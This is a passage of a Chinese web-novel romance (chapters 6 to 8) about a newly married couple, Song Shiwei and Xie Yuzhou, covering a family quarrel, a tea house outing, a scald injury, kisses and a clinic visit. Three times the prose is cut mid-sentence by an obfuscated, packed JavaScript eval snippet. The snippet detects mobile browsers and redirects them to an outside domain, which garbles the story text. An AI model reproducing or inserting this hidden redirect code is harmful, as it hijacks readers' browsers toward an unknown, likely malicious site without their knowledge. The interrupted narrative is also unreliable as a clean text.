“林总,我这边有点事,抱歉。”庭院内光线昏暗,谢屿舟果断上前拉住宋时微的手,“走吧。” 重逢后他第一次牵她,准确来说,除了多年前的床上,他们没有牵过手。 宽大的手掌包裹住她的手,从肢体上给她安全感。 夜晚,受热岛效应影响,别墅区温度偏低,男人掌心的温度传递给她。 宋时微握紧手掌,摩挲掌心兼职留下的茧。 “爸,我们先走了。”宋时微礼貌告别。 刚刚的伯父是脱口而出,眼下喊‘爸’更合适。 谢宏恺语气不善,带着长辈的威严,“连声招呼都不打,成何体统。” 谢屿舟脚步微凝,转过身,目光直直看过去,“彼此彼此。” 父子俩顿时剑拔弩张,隔空对望,谁都不愿让步。 “这门婚事我不会同意。”当着宋时微的面,谢宏恺直言不讳。 谢屿舟眼神冷冽,“你同不同意不重要。” 谢宏恺指着宋时微,“她能抛下你一次,就会有第二次第三次。” 一刹那,只余下风吹树叶的沙沙声响。 片刻之后。 “我不会给她离开我的机会。” “我不会。” 谢屿舟和宋时微同时出声,在外立场一致。 谢宏恺:“她配不上你,她爸爸现在还在……” 谢屿舟上前一步,打断他的话,“配不配得上我说了才算,和我结婚的是她,不是她的家人。” 最后,父子俩不欢而散。 回去的路上,宋时微和谢屿舟谁都没有说话,谢宏恺戳破的是事实。 她抛下他七年。 是前一天晚上的缠绵悱恻,第二天凭空消失。 谢宅正厅距离大门相隔甚远,石板路磕磕绊绊,宋时微的思绪乱飞,脚上的高跟鞋磨脚,忍着脚疼被男人拉着快步走路。 从后面看他的背影,明显感受到谢屿舟心里压着一股气。 或许是想起她的不告而别,或许是她不知道的矛盾。 车厢逼仄难安,仿佛身处高原地带,缺乏氧气。 漫长的车程,司机都没有打开车载音乐。 谢屿舟牢牢攥紧宋时微的手,一刻也没有松开。 窗外,林立的高楼极速后退,宋时微的掌心沁出了薄汗。 眼前的风景从室外到了停车场。 “先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478921|169983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、太太,到了。” 谢屿舟淡声吩咐,“陈叔,你先回去吧。” 持续低沉的气压撕开了一道口子,很快裂缝被填上。 宋时微用余光轻瞄他一眼,晦暗不明的光线下,隐约可见男人冷淡的表情。 “我们不上去吗?” 他没有回答她,亦没有离开,时间一分一秒溜走,终于,谢屿舟松开了她的手。 长时间保持一个坐姿,宋时微的腿部变麻,下车后没有走稳,脚踝往右一崴,一个趔趄即将扑倒。 她的手边没有任何可支撑的物体,眼见就要摔倒在地。 谢屿舟及时扶住她,直接打横抱了起来。 宋时微下意识搂住谢屿舟的脖子,轻声说:“我自己走,不用你抱。” 男人冷声道:“走太慢,耽误我回去开会。” 被他的语气气到,宋时微怼他,“那你先走不就好了。” 谢屿舟硬声道:“你是我太太,如果出事我是第一嫌疑人。” 要习惯他冷冰冰带刺的态度,要习惯他现在对她不耐烦的说话方式。 从地库到客厅,谢屿舟没有放下宋时微,将她放在沙发上。 宋时微蜷着腿查看脚受伤的情况,不止脚后跟,小脚趾外侧也磨破了一层皮,漏出鲜红的血肉。 鞋子被扔在玄关鞋柜,即使尺码正确,即使是漂亮的缎面高跟鞋,于她而言,不过是美丽废物。 她去衣帽间换居家服,原本空空荡荡的衣柜,被填满了当季的款式。 吊牌全部摘去,出自谢屿舟的手笔。 宋时微拆掉盘发,换好舒适的睡衣,茶几之上放着棉签、碘伏和创可贴。 她对着远去的挺括男人背影,说:“谢谢。” 破皮处微微渗出血,宋时微蘸取碘伏小心翼翼抹上去。 不知谢屿舟何时折返,男人看不过去她优柔寡断的手法,蹲下身右手取出一根棉签,左手握住她的脚踝,拽在自己的膝盖上。 脚踝是身体的一大敏感之处,宋时微条件反射蜷缩,被男人硬生生拽住。 “别动。” “我自己来,你不是要去开会。” 谢屿舟:“延迟了。” 男人说话的语气与手上的动作形成鲜明对比,一刚一柔。 宋时微垂眸望着眼前的他,一瞬间好似回到高中,她生理期,他表面冷冰冰,实际给她带了布洛芬、红枣桂圆汤。 可是,终究回不去了。 她的思绪乱飞,不禁叫了一声,“嘶。” 男人擦药的力道又减轻了几分,轻柔得不像他,贴上创可贴,谢屿舟扔掉棉签。 全程没有言语。 “谢谢。”宋时微站起身,说:“谢屿舟,镯子和耳环我放在梳妆台上了,还有妈妈、奶奶和姑姑送的礼物一并放在了那里,你收起来吧。” 几样饰品价值不菲,她没有地方放。 谢屿舟脚步顿住,“宋时微,这么想和我分清楚?没有财产纠纷,离婚时少点争执,下一步是不是要把婚戒还给我?” 他误会了她的意思,宋时微为自己辩解,“不是,我没想离婚。” 谢屿舟表情略微松动,“那就戴好,其他的自己保管。” 不想再产生误会,宋时微说得更明白,“我不是想和你分清楚。” 谢屿舟:“不停说‘谢谢’,哪个妻子会和丈夫这么客气。” 宋时微低着头,“我不会了。” 好像她做什么说什么都是错的,他在心里给她定了罪。 “跟我来。” 宋时微跟着谢屿舟进了衣帽间,听他说:“这个保险柜给你用。” 位于梳妆台正下方。 “好。” 宋时微整理收到的首饰,还给林以棠的项链下午刚寄到,放在她的包里。 【糖糖,项链我明天拿给你。】 林以棠:【哎,我说送你你不要。】 她的手机没有贴防偷窥膜,借助身高优势,谢屿舟看清她和林以棠的对话。 原来项链是林以棠借给她的,难怪这么着急问他有没有看见。 他错怪她了。 结婚第二晚,没有前一天的局促,两人仍旧一人睡一边。 蓦然,谢屿舟长臂一伸,将宋时微揽进怀里。 “是要做吗?” “睡吧。” 他怎么了? 为什么突然抱她? 7. 吻她 突然的亲密,宋时微没有推开谢屿舟,回抱住他的腰身,“晚安。” 离他太近,她的心脏乱跳不止。 男人的体温比她高,炽热的呼吸洒在她的头顶,似乎可以听见他沉稳有力的心跳声。 宋时微闭上眼睛,奈何他的存在感太强,久久不能入睡。 谢屿舟察觉出她没有睡觉,“睡不着吗?” 宋时微茫然抬头,“我入睡有点慢,你不用管我。” 她神经衰弱,入睡困难,明明很困,却要等到下半夜才能睡着。 谢屿舟轻轻抚拍她的肩膀,像大人哄婴儿睡觉那般,一下又一下。 在他的安抚中,宋时微不知不觉睡着。 清晨,床上的男人率先醒来,怀中的女人保持睡前的姿势,窝在他的怀里。 谢屿舟松了一口气。 她还在。 宋时微睁开眼,又看见谢屿舟眼里一闪而过的温柔。 她确信,不是错觉。 谢屿舟:“早上堵车,起床。”一开口,是熟悉的冷冰冰口吻。 温情只存在在不经意之间,清醒状态下不复存在。 宋时微换好衣服,听见谢屿舟喊她,“过来。” 男人手里拎着三条领带,“选一条。” 宋时微指向最右边,“这条,藏蓝色条纹。” 谢屿舟将领带塞到宋时微手里,示意她来系。 宋时微:“我不会。” “那就学。” 她明白了,这是身为谢太太的职责之一。 谢屿舟给她演示一遍,凛声问:“看清楚了吗?” 宋时微回想步骤,“嗯。” 男人配合她的身高,微微弯腰俯身,凑到她的眼前,气息笼罩在她的上方。 无法忽视的凛冽气息,让宋时微记错了好几步,又拆开重系,谢屿舟不疾不徐等她。 终于,他看不过去,握住她的手,上手教她,“是这样。” 男人牵着她的手,绕圈、缠绕,快要将她裹进去。 “好了。”宋时微逃离他若有若无的怀抱,“我要迟到了,先走了。” 待谢屿舟出来,女人的身影早已消失。 君姨:“先生,太太没吃早饭。” “我带给她。” 孟新允走进总经理办公室汇报工作,听见老板吩咐,“先把早饭拿给宋时微。” “啊?” 谢屿舟掀起眼睫,“不能送?” “能,我现在就去。”孟新允拎起牛皮袋,乘坐专梯下楼。 策划部的同事看到他,打趣道:“孟助,今天不发喜糖了吗?” “我请示下谢总。”孟新允径直走到宋时微的工位旁,放下早餐,“宋小姐,楼下有个男人拜托我拿给你的。” 宋时微瞬间明白,“好,谢谢孟助。” 孟新允完成老板的私事,汇报工作,“谢总,新的生产线投入使用,预计下个月上市,盛兴的林总想约您当面详谈医药的事,还有,傅景深傅总对我们的食品线感兴趣,发来合作意向。” 今天怎么回事,老板为什么一直盯着领带。 一条普普通通的领带,估计是宋小姐送的。 结了婚的男人,都一样。 孟新允又喊了一声,“谢总。” “我知道了。”谢屿舟颔首,随后交代他,“你和程清安沟通,下个月给宋时微做一笔奖金发给她,钱从我的账户上出。” 孟新允为难,“谢总,不好操作,宋小姐刚来公司,还没转正,没有参与过项目,不论什么名义,她肯定有所察觉,会怀疑。” 谢屿舟若有所思,孟新允大胆建议,“谢总,如果你担心宋小姐不愿意收你的钱,或许可以用‘家用’的名义给她,合情合理合法,她也不会有拒绝的理由。” 为老板排忧解难是他的职责,不论公事私事。 谢屿舟抬起手,“你先出去吧。” 45层策划部,乔言心注意到宋时微无名指的婚戒,大吃一惊,“微微,你你你结婚了?” 太过震惊,说话不利索。 宋时微点了点头,“是的,刚领的证,婚礼再等等。” 乔言心感叹,“和谢总时间差不多,好巧,最近流行结婚吗?” 宋时微瞎编理由,“可能天气闷热,容易上头。” 乔言心一脸坏笑,“有照片吗?我想看看是哪个人拐走了微微小仙女。” “没有,他不爱拍照,结婚证我也忘了拍。”宋时微提前预判,堵住乔言心接下来可能会说的话。 “好可惜。” 下午时分,宋时微坐在工位纠结半晌,选择和谢屿舟报备,【我晚上约了糖糖,晚一点回去。】 谢屿舟:【好。】 言简意赅的一个字,没有问她去哪儿,没有问她大概几点回来,更不会问她要不要去接。 宋时微和林以棠顾裴司约在市区本地菜馆见面,她坐下来开始道歉,“糖糖,抱歉,项链丢在酒店里了,我找了很久都没找到,给你买了一条新的。” “丢了就丢了呗,你可至于给我买条新的。” 林以棠知道她过意不去,勉强收下,“你要是钱不够用,别和我客气,我借给你,不收利息。” 顾裴司:“还有我。” 宋时微感动,“好,第一个找你们。” “谢屿舟有没有为难你?”林以棠不放心,谢屿舟城府深,带着恨意结婚。 “没有,我们挺好的。” 除了忽冷忽热的态度,一切是挺好的。 林以棠:“那就好,如果他对你不好,我去揍他。” 摩拳擦掌,仿佛要大干一场。 从餐厅出来,宋时微恰好在门口遇到谢屿舟,循着他的方向,他刚刚去的是中医馆吗? 陈叔恭敬喊:“太太。” “陈叔。” 林以棠挡在宋时微前面,“谢屿舟,好巧,你是来接微微的吗?” 陈叔替谢屿舟回答,“是的,先生放心不下太太。” 可不放心不下,林以棠抓住宋时微的手臂,小声吐槽,“他是在监督你吗?怕你再跑了。” 宋时微拍拍她的手,“巧合,他不是从中医馆出来的吗?估计是来抓药的。” “我靠,他莫不是不行吧。”林以棠抓住内因,司机的话掩饰其真实目的。 宋时微:“应该没问题。” 林以棠瞪大眼睛,“你们睡了?” 宋时微捂住她的嘴巴,“没有。” “没有实践,光看是不准的。”林以棠偷偷打量谢屿舟,心里吐槽外强中干。 宋时微:“我和他才结婚,我先走了,拜拜。” 林以棠和她挥手,“到家记得给我报平安。” 坐进谢屿舟的车里,宋时微关切问:“你是有哪里不舒服吗?” 身为他的妻子,关心他是正常的事。 谢屿舟倚靠在椅背上,微阖眼眸,似是在闭目养神。 他不愿回答,可能是隐疾,宋时微没有追问。 须臾安静,只有轮胎压过马路的声音。 男人沉沉发问:“他们什么时候知道你回来的?” “一周前。” 宋时微担心他误会,解释,“遇到他们是碰巧,面试面到了糖糖她哥哥的公司。” 离开七年,她没有勇气和他们联系,未料到林以棠哥哥认得她,和妹妹通风报信,林以棠直接杀到公司,拦住了她。 男人仿佛只是随意问问,没有问到底。 直到到家,谢屿舟没有再开口,浑身散发冷冽的气场。 男人半倚在床头,没有过界,“以后每个月1号会定期打给你一笔‘家用钱’,用以家庭开销。” 他捞起手机直接转给宋时微这个月的钱。 “好的。”宋时微询问:“我可以买软装挂画摆件之类的吗?” 房子是他的,改变装修自然要过问他的意见。 “这是你的家。”谢屿舟从床头钱夹里抽出一张黑色的卡,“不够用直接用这张卡。” 七位数的家用,除非她买几百万的床垫,否则买套房都绰绰有余。 谢屿舟发给宋时微一份pdf报告,“这是我的负债情况,既然结婚了,那就坦诚相待。” 宋时微相应发她的欠债,“这是我的,放心,我发工资就还上,不会用家用钱。” 看到信用卡账单明细里的项链,谢屿舟眼神微动,“现在用家用钱还上,投资人和竞争对手会调查直系亲属的情况,评估风险。” 宋时微不疑有他,“好。” 她又启唇,被男人冷声截断,“不要想着发工资还我钱,你向我求的婚,就好好经营婚姻。” 宋时微做下保证,“我会的。” 谢屿舟缓和下语气,“老太太喜欢喝茶插花和热闹,我周末会抽时间陪她去,你多买点新衣服,不能让她在朋友面前丢了面子。” 旋即补充,“以你喜欢的为主,老太太没那么多讲究。” 宋时微捏住黑卡,“好。” 谢屿舟直直看着旁边的女人,“衣服买来是陪老太太的,算家用,每个月记得更换新款,关乎谢家的面子。” “我明白的。”宋时微应下。 周末,宋时微和谢屿舟陪顾令仪前往茶馆。 老太太揶揄孙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478922|169983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“大忙人今儿怎么有空陪我老太太出来喝茶。” 谢屿舟:“这不是好久没陪你了吗?” 老太太看破不说破,恐怕是带着媳妇刷存在感,担心她们日后为难他老婆。 “这是你孙媳妇吗?好漂亮,和屿舟很是般配,哪家的千金啊?我怎么没见过。” 说话的是冯老太太,顾令仪几十年交情的姐妹。 顾令仪笑着说:“现在不兴这套了,讲究情投意合,屿舟喜欢就好。” 一行人在茶室坐下,窗外恰有一处竹林,摇曳生姿。 顾令仪:“微微,能喝惯茶吗?” 宋时微:“能,奶奶。” 面前摆了一排莲花茶盏,甚是美丽。 宋时微端起第一杯,在嘴里细细品茗,“奶奶,这是云雾吗?” 顾令仪惊喜道:“对。” 云雾茶外形条索粗壮,叶嫩匀齐,茶汤呈嫩绿明亮色,清香馥郁,醇厚味甘。* 紧接着,宋时微品第二杯茶,“这杯是毛峰。” 顾令仪:“不错。” 毛峰外形微卷、状似雀舌,茶汤绿中泛黄、银毫显露,香气如兰、韵味深长,回甘鲜爽。* 后面的每一杯茶,宋时微准确无误说出名字。 顾令仪问:“微微,你研究过茶吗?” 对不懂茶的人来说,分不清品种,更尝不出味道。 宋时微实话实说:“大学的时候去茶园做过实地调研,浅显研究过绿茶品类,比不过两位奶奶。” 冯老太太:“你有福,孙媳妇漂亮又谦虚,像你这样的年轻人不多了。” 两个老太太话家常,聊茶艺,宋时微在一旁不歇着,琢磨点茶。 过去这么多年,竟还没忘。 “奶奶、冯奶奶,你们尝尝我点的茶。” 茶汤上的画正是窗外的竹林,栩栩如生,泡沫干净,色泽莹润。 冯老太太越来越喜欢宋时微,“你孙媳妇了不得,还会点茶,现在年轻人都喜欢喝奶茶,哪里有耐心做这些,还以为抹茶是国外的呢。” 宋时微不仅可以喝出茶的品种,更会煮茶、泡茶,甚至点茶,给足了老太太面子。 顾令仪叹气,“是啊,比我孙子强多了,你看接不完的电话,回不完的信息。” 谢屿舟进来刚坐下没两分钟,出去接电话,现在还没有回来。 “他最近同时忙几个项目,我清闲陪奶奶们喝茶。”宋时微说。 冯老太太:“这是护夫吧。” 宋时微的胳膊肘即将碰到茶炉,突然,听到一道焦急的男声说:“小心。” 谢屿舟及时用手挡住茶炉,倾倒的开水才没有洒在她的手上。 一整壶翻滚的水全倒在了他的手背上,顿时水花四溅。 宋时微拉住谢屿舟朝洗手间走,脚步飞快,声音哽咽,“你快走,起水泡就不好了。” 在流水下冲洗手背和手臂,衬衫粘在皮肤上。 “哎呦呦。”两位老人才弄明白状况,相视一笑,接电话时刻注意茶室的情况。 用流水冲了一刻钟,宋时微仍不放心,和奶奶说了一声,带谢屿舟去医院检查。 烫伤处理得及时,医生检查后说没有大碍,拿了烫伤膏回家。 宋时微帮谢屿舟脱下衬衫,换上干燥的衣服,男人说:“不喜欢喝茶插花的话,以后不用去。” 幸亏有他在。 宋时微鼻尖泛红,“没事,奶奶喜欢喝茶,我也愿意陪她,趁还能见面,要多见见。” 她没有听出谢屿舟话里的意思。 “你外婆?”谢屿舟记得,宋时微的外婆很喜欢他,经常拿水果给他。 宋时微拆药盒的手指顿住,“去世了。” “抱歉。” “没事,过去很久了。” 外婆临终前问起过谢屿舟,时间过得真快。 谢屿舟坐在沙发处,他受伤的是右手,自己不方便涂抹。 “还好没起泡。” 宋时微坐在谢屿舟身旁,蘸取烫伤药膏抹在他的创口上,原本冷白色肌肤红了一大片。 她小心翼翼涂抹,微微吹气。 谢屿舟望着女人微潮的眼睛,些许动容,“关心我?” 宋时微怔住,很快恢复如常,“毕竟你是帮我挡的水,我应该做的,换做谁都会关心。” 蓦然,谢屿舟俯身堵住她的唇。 她的后颈被男人用力握紧,向他怀里压,要将她吞吃入腹。 宋时微握在手里的棉签掉在了地毯上,挣脱不了他的束缚。 男人像一条潜伏在黑夜中的蛇,咬住她不松口,掠夺她所有的呼吸。 8. 张嘴 宋时微的手使不上劲,手掌按在沙发上,她下意识想往后仰,却被谢屿舟死死箍紧。 “乖,张嘴。” 男人像披着人皮的‘毒蛇’,看似好心,实则为一口吞掉她做准备。 谢屿舟撬开宋时微的唇齿,由浅入深,舌头肆无忌惮闯进去,纠缠不休,勾连不止。 安静的空间让荷尔蒙快速蔓延。 宋时微顺从内心的欲望,闭上眼睛,承接谢屿舟强势霸道的吻。 从一开始就没有挣扎。 津液在舌尖交换,宋时微的舌根发酸,云游在外的思绪渐渐回笼。 “别分心。” 男人学的快,变化太大。 与七年前不同,那时的他刚开始不敢亲她,还是她主动。 现在的他活脱脱像一条毒蛇。 吻到最后,宋时微的脖子疼、舌根疼,嘴唇发干,男人的左手扣住她的后脑勺,不让她动弹。 面对面,有些地方无法忽视。 毕竟曾经坦诚相见过。 一个时隔七年的吻,让两个人都险些失控。 终究没有十八岁的莽撞和勇气,不敢进行下去。 谢屿舟松开了手,恢复冷淡模样,“你前夫吻技这么差,连张嘴都没教会你。” 横冲直撞连回应都不会,只会莽着和他较劲。 宋时微平复呼吸,和他对视,“自是比不上谢总身经百战,练就熟练至极的吻技。” 别人呛她一下,她要回以十分。 谢屿舟勾了勾唇角,“多亏你与我训练一夜,这么说,还得多谢谢太太。” 宋时微不遑多让,“不客气,不验货怎么敢和你结婚。” 谢屿舟不气不恼,“也不知道是谁,说我技术烂,现在倒夸上了。” 宋时微嘟囔,“技术本来就烂,浪费资源。” 仗着自己天生有优势,硬生生往里挤,仗着自己年轻,一次又一次。 谢屿舟抵住她的额头,直勾勾看着她,“总比你前夫好,技术可以练,先天的短板想改都改不了。” 男人的拇指按在她的唇上,“肿了。” 佯装心疼,实则是想堵住她的嘴,不让她说话。 宋时微的嘴唇火辣辣的疼,隐隐作痛,“学不会怜香惜玉,不知道你前女友们怎么受得了。” 谢屿舟站起身,“不劳你费心。” 离开了他的气息,宋时微擂鼓般的心跳逐渐缓和,真皮沙发留下她的指印。 “你的手自己上药。” “我是右撇子,不会用左手。” 谢屿舟理直气壮享受宋时微的照顾。 宋时微重新帮他上药,他是为了救她才受伤。 这次,上药过程顺顺利利,没有被突如其来的吻打断,男人手背烫伤处破了一层皮,裹上透气的纱布。 宋时微不敢想象,如果水倒在她的手上,是什么后果。 而他竟毫不犹豫拦下。 眼前的女人盯着他的患处,谢屿舟冷声说:“不用觉得欠我人情,我救的人是我的太太。” 言外之意,不是她宋时微。 男人又开口,“顺便纠正一下,只有一位女友。” 宋时微抬头看他,试图从他眼里看到答案,什么都看不出来了。 一位女友是谁?总不可能是她吧,她不敢奢望,他称呼她是‘陌生人’。 “结婚前的事,我不在乎。” 谢屿舟伤的是右手,许多事情行动不便,作为公司的掌舵人,他自是非常忙碌。 “我口述,你打字回复。” 宋时微提醒他,“有语音识别文字的功能。” 谢屿舟振振有词,“不好用,识别得不准确。” 失之毫厘差之千里,对他们来说,或许是几千万的损失。 宋时微临时充当谢屿舟的秘书,仿佛掌握公司的机密,“傅景深傅总的信息。” 谢屿舟意味深长道:“你前相亲对象。” “他不是。”宋时微懒得解释,相信你的人不需要自证,“算了,怎么回复?” 谢屿舟懒懒倚靠在椅子上,转动手里的笔,“告诉他,周二见面详谈。” 宋时微坐在旁边,抬起手指刚打好一行字,男人出声制止,“我和他说话会用‘您’吗?” 【傅总,您好……】她下意识代入自己。 宋时微删掉原来的话,想象谢屿舟的说话语气,【傅总,周二见面详谈。】 言简意赅不拖泥带水式的说话方式。 傅景深很快回复,【期待合作。】 宋时微帮谢屿舟回复完各位老总的消息,男人又查看提交上来的方案,第一个是地产集团。 房地产业虽然日落西山,但前期资金投入大,容不得一点差错。 谢屿舟只扫了一眼营销方案,“重做。” “重做吗?”同为策划人,宋时微对这两个字感同身受。 她负责的是饮料线,不是公司的支柱产业,甚至是边缘线,她们部门的方案基本不会给到老板过目。 第一次听他说‘重做’,浑身起鸡皮疙瘩。 宋时微回头再次确定男人的话,差一点撞到谢屿舟的脸。 不知何时,他向前挪了一步,两人一瞬间靠得极近。 近到可以看清彼此脸上的绒毛。 谢屿舟清了清嗓子,“你看一下0620那天的方案。” 宋时微慌乱找到桌面的PPT报告点开,看了几页便明白,换了顺序改了几个字重新提交。 她都能看出来,更不用说谢屿舟。 简直是明晃晃的糊弄,赌老板记不住这么多方案细节。 宋时微给地产分公司的总经理回了修改意见,简单的两个字,【重做】。 字越少,事情越大。 一道突兀的铃声在客厅内响起,谢屿舟瞄到宋时微手机屏幕上的来电人——傅景深。 男人抬眉示意她接听。 宋时微坦荡接起,按了免提。 傅景深的声音传出来,“宋小姐,花店新到一批鲜花,有空来看看吗?” 宋时微用余光偷看谢屿舟,男人神色如常,“傅总,家里的花开得正好,暂时不需要买新的,谢谢。” 一席话客气疏离,无其他意味。 谢屿舟站起身,“宋时微,换衣服,出门。” “来了。” 宋时微不忘和傅景深告别,“傅总,再见。” 她赶上谢屿舟的步伐,蹙眉不解:“我们去哪?” 男人淡声道:“超市。” 宋时微脱口而出,“你现在有时间逛超市?” 回答她的是谢屿舟的沉默,一前一后步行走去超市。 遥想高中的时候,除了图书馆,两个人去的最多的地方是超市。 谢屿舟说逛超市浪费时间,想买什么直接买了就走,为什么要逛呢。 事实证明,他现在就是这样做的。 男人直奔大型综合超市的生活用品区域,他站在货架前,骨络分明的手指拿起避孕套,一个一个挑选型号。 幸亏无人路过。 面对宋时微的怔然,谢屿舟解释,“我不是形婚,没想过不碰你。” “那你前几天。” “没心情。” 男人问她,“你喜欢哪个味道?” 坦坦荡荡完全没有尴尬,好像在挑选其他日常用品。 宋时微的脚趾在抠地,面颊红透,选择速战速决,“都行,我不挑。” “这是双方的事。” “那就这个。”宋时微随便指了一个。 谢屿舟却没有听她的,进行清空货架计划,购物车垒成小山。 宋时微感慨,幸好现在采用自助收银。 她忽略了一件事,超市只有透明塑料袋,稍加留意便能看见超薄、润滑几个字。 宋时微想和谢屿舟分开走,男人拎着袋子不忘牵住她的手。 不巧,超市出口即是傅景深妹妹的花店。 傅景深刚准备离开,看到谢屿舟进来,身边站着宋时微,他的视线自上而下落在他们相握的手上,再是袋子里的物品。 他处变不惊,“谢总,宋小姐。” 称呼宋时微非‘谢太太’。 谢屿舟平视对方,“傅总涉猎的行业挺多,看来得向你多学习才是。” 傅景深:“比不上谢总,事业家庭双丰收。” 谢屿舟:“改天请你喝喜酒。” “一定去。”傅景深说。 看似平静如水的对话,当事人知道对方话里的意思。 空运而来的花娇翠欲滴,宋时微被一盆多肉吸引,圆圆的很可爱。 “喜欢哪种花?” 谢屿舟微微俯身,凑到宋时微耳边问,他故意做出亲昵的姿势,俨然一副三好丈夫的模样。 宋时微不习惯亲密,他们也极少亲密,条件反射向后退,“家里花还有很多,都不想要。” “怕他看见。”谢屿舟箍住她的后腰。 “不是。” 傅景沅在后面给客人包花束,远远看到一对般配的情侣在说悄悄话。 “屿舟哥,是你啊。” 谢屿舟和另一位店员沟通,“花送到这里,原来是你的店。” 傅景沅:“姐姐,你老公是屿舟哥啊。” 宋时微礼貌笑笑,“你们认识呀。” 傅景沅:“认识,我们小时候是邻居,以后给你打折。” “谢谢,我们先回去了。”宋时微说。 傅景沅拍拍哥哥的肩膀,“哥,别看了,名花有主了,还是谢屿舟,你死心吧。” 哥哥和谢屿舟似乎是天生的对头,小时候考试争第一,长大后开始比谁的利润高。 他们本身没有恩怨,架不住身边的人总是拿他们做对比。 傅景深插兜离开,“我和宋小姐只是朋友。” 傅景沅:“那最好,屿舟哥可是我的大客户,定了一年的花。” 傅景深:“出息。” 花店店员送了三趟,终于送完谢屿舟买的花。 君姨被吓到,“微微,怎么买了这么多花啊?” 宋时微拿着剪刀剪去多余的叶片,“学插花,你晚上带回去几把。” 谢屿舟有病,他简直把花店搬回了家,自己做甩手掌柜在一旁看着。 君姨和宋时微一起处理,“先生手怎么了?” 宋时微:“不小心被开水烫到,抹过药膏了。” 君姨:“那是得注意,我去炖点滋补的汤。” 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478923|169983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时微跟着网上的教程练习插花,哪支都不合适。 谢屿舟提起裤腿,半蹲在她的面前,在花瓶里扫一圈,“用橘色的花。” “你会插花?” “和奶奶学的。” 谢屿舟给她提意见,大概多长高度,宋时微听从他的想法,眼前一亮。 橘色的花配进去,更和谐更好看,提亮了整体的感觉,点睛之笔。 宋时微嘴角绽开好看的弧度,“谢屿舟,你好厉害。” 恍惚间,谢屿舟以为回到了高中,他解出来一道难题,她就用这种表情看她。 告诫自己,不要被她骗了。 当,上一次就够了。 谢屿舟换上冷漠的表情,“慢慢研究。” 君姨做好菜端上桌,按照以往布局,“先生,您是不是不方便用筷子,我给您换把勺子。” 谢屿舟喊宋时微,“你过来。” 宋时微:“做什么?” 谢屿舟的眼神看向一旁的筷子,“嗯?” 这意思是喂他? 宋时微不和喜怒无常的人计较,刚刚说翻脸就翻脸,“你要吃什么?” 谢屿舟:“自己想。” 君姨:【老太太放心,小两口感情好得很。】拍了一张宋时微喂谢屿舟吃饭的照片。 两个人的眼神黏在一起,粉红泡泡在天上飞。 防止谢屿舟再提过分的要求,比如给他刷牙洗澡之类的,宋时微提前挤好牙膏,放在一旁。 两只刷牙杯放在一起毫无新婚和情侣的感觉,廉价的塑料质感与灰色手工艺品。 不搭。 就像他和她。 偏要凑在一起。 也是他和她。 在宋时微出神之际,谢屿舟走了过来,她连忙离开,“你是不是要洗澡?那我现在出去。” 谢屿舟淡淡开口,“我不方便脱衣服。” “好了。”宋时微一颗一颗解开男人的衬衫纽扣,眼神看向瓷砖,目不斜视,“你注意手。” 浴缸内被放满水,谢屿舟沉入水底,看着包裹得严严实实的右手。 他感慨一句,“包得真丑。” 隔着玻璃门,谢屿舟向外喊,“宋时微。” “来了。”宋时微推开门,下意识捂住眼睛,“你为什么不穿上衣?” 谢屿舟掀起黑眸,“我能穿喊你干嘛。” 宋时微一天看了三次他的身体,她和他严格意义不算熟,除了一起做题,只有那一晚的坦诚相见,还是关了灯的。 “穿好了。” 夜半时分,宋时微睁眼看着漆黑的天花板,比任何时候都要清醒,茶喝多了的后遗症。 谢屿舟:“又睡不着。”沉稳的男声夹杂似有似无的担忧。 “茶喝太多了。” “你是不是轻微失眠?” 结婚以来难得的平和聊天,没有剑拔弩张,没有呛声。 宋时微不清楚,她没查过,“或许吧,影响你睡觉的话,我去次卧躺着。” “没事。”谢屿舟:“睡不着培养感情。” “怎…怎么培养?”结合下午买的避孕套,宋时微说话变得磕磕绊绊。 “从接吻开始。” 话音刚落,宋时微只觉得眼前又覆上了一层黑色,微凉的薄唇压在她的唇上。 “你的手。” “不碍事。” 他像一名好好老师,引导她张嘴、换气,一对成年男女躺在一张床上接吻。 “有进步。” 漫长潮湿的吻结束,宋时微像搁浅在沙滩的鱼,大口呼吸新鲜空气。 不得不说,他的方法有明显效果。 这一觉宋时微睡得舒心,超过了8个小时。 谢屿舟正在自己抹药,“收拾一下,准备出门。” 宋时微:“去哪儿?” “中医馆,看失眠。” “不用看医生吧。” 宋时微讳疾忌医,她觉得自己的失眠没有那么严重。 谢屿舟有理有据,“你睡不好影响我休息。” 宋时微自知拗不过他,跟随他前往中医馆,车子停在前几天遇到他的医院。 一家出名的老字号中医馆,百年历史,经历几代人,一号难求。 谢屿舟已经提前预约,是一位身体硬朗的老大夫。 大夫把脉看眼白,初步诊断,“是焦虑引起的心思郁结,入睡后容易乱想,导致神经紧绷,睡眠困难。” 